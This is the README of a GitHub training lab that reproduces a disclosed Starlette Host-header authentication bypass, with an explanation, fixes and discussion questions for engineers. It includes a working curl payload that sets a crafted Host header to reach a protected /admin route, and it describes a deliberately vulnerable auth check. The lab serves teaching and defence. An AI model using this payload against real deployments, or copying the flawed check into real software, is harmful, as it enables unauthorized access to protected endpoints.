xtremebeing/starlette-host-header-lab
GitHub: xtremebeing/starlette-host-header-lab
Stars: 1 | Forks: 0
# Starlette Host-Header URL Confusion Lab (X41-2026-002)
A self-contained, containerized training lab reproducing the Starlette
authentication-bypass vulnerability disclosed by X41 D-Sec.
- **Advisory:** [X41-2026-002](https://x41-dsec.de/lab/advisories/x41-2026-002-starlette/)
- **GHSA:** GHSA-86qp-5c8j-p5mr
- **CWE:** 436 — Interpretation Conflict / Untrusted Input in Function Call
- **CVSS:** 7.0 (High)
- **Affected:** Starlette `>= 0.8.3`, `< 1.0.1` (lab pins `0.37.2`)
- **Fixed in:** Starlette `1.0.1`
## The vulnerability in one paragraph
Starlette dispatches a request to a route using the raw ASGI `scope["path"]`,
but it reconstructs `request.url` by string-formatting the client-supplied
`Host` header into `"{scheme}://{host}{path}"` — **without validating the Host
header** against RFC 9112 §3.2. Because URL metacharacters (`?`, `/`, `#`) are
allowed straight through, an attacker can make the *reconstructed* path differ
from the *routed* path. Any security check written against `request.url.path`
can then be tricked while the router still reaches the protected handler.
### Why the PoC works
The vulnerable middleware allows the request only when `request.url.path` is
`/` or empty:
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
Send `Host: foo?` against `GET /admin`:
| Component | Value used |
|---------------------------|-------------------------------------|
| Router (`scope["path"]`) | `/admin` → dispatches `admin()` |
| `request.url` | `http://foo?/admin` |
| `request.url.path` | `""` → passes the auth check ✅ |
The `?` turns everything after it into the *query string*, so the parsed path
is empty. Auth sees an empty path and waves it through; the router still serves
`/admin`. **Bypass achieved.**
## Running the lab
Requires Docker + Docker Compose.
docker compose up --build
Two services start:
| Service | URL | Behaviour |
|--------------|-------------------------|------------------------------|
| `vulnerable` | http://localhost:8000 | bypassable |
| `fixed` | http://localhost:8001 | mitigated (two ways) |
### Exploit it
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
Or run the guided PoC script:
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
The vulnerable `/admin` handler returns a JSON body that makes the confusion
visible — note how `scope_path` and `reconstructed_path` disagree:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
## How it's fixed
See [`fixed/fixed_app.py`](fixed/fixed_app.py). Two independent mitigations:
1. **Use the authoritative value.** Make the auth decision on
`request.scope["path"]` — the same raw path the router uses — instead of the
reconstructed `request.url.path`.
2. **Defense in depth.** `TrustedHostMiddleware` rejects unexpected/malformed
`Host` headers before any application logic runs, mirroring what an
RFC-compliant reverse proxy (nginx/Apache) does upstream.
The real-world fix is simply **upgrade to Starlette ≥ 1.0.1**, which validates
the Host header during URL reconstruction.
## Discussion prompts for engineers
1. Where else in a typical stack is a value *reconstructed* from untrusted input
and then trusted? (Hint: SSRF allow-lists, OAuth `redirect_uri`, cache keys,
password-reset links built from `Host`.)
2. Why is "block the bad path" (`/admin`) more fragile here than "decide on the
routed endpoint"? What if routing is case-insensitive or has trailing-slash
redirects?
3. This is CWE-436 (interpretation conflict). What other famous bugs share this
shape? (HTTP request smuggling, Unicode normalization auth bypass, the
`0.0.0.0`-day.)
## Files
starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md